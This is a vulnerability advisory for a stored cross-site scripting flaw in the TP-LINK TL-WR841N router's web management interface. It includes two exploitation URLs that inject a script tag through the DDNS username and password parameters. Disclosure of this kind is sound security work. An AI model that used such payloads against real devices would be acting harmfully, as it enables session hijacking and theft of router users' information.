TP-LINK TL-WR841N 3.13.9 Cross Site Scripting

`=| Security Advisory - TP-LINK TL-WR841N XSS (Cross Site Scripting) |=  
  
Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"  
Firmware Version: 3.13.9 Build 120201 Rel.54965n and Below  
Discovered Date: 17/11/2012  
Author: Matan Azugi [[email protected]]  
Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N   
  
Details:  
  
TP-LINK TL-WR841N Wireless Router is prone to Cross Site Scripting  
Vulnerability.  
The vulnerability exists in Web-Based Management.  
Remote authenticated administrators may inject arbitrary JavaScript or HTML  
via the username parameter or via pwd parameter to exploit Stored Cross Site  
Scripting condition.   
Exploitation URL:   
  
1.  
http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=a1234</script  
><script>alert(1)</script>12aaa34f5be&pwd=password&cliUrl=&Save=Save  
2.  
http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=1234&pwd=a123  
4</script><script>alert(1)</script>12aaa34f5be&cliUrl=&Save=Save  
  
Successful exploitation allows the attacker to steal user information and  
may allow the attacker to take full control over the user Browser.  
  
  
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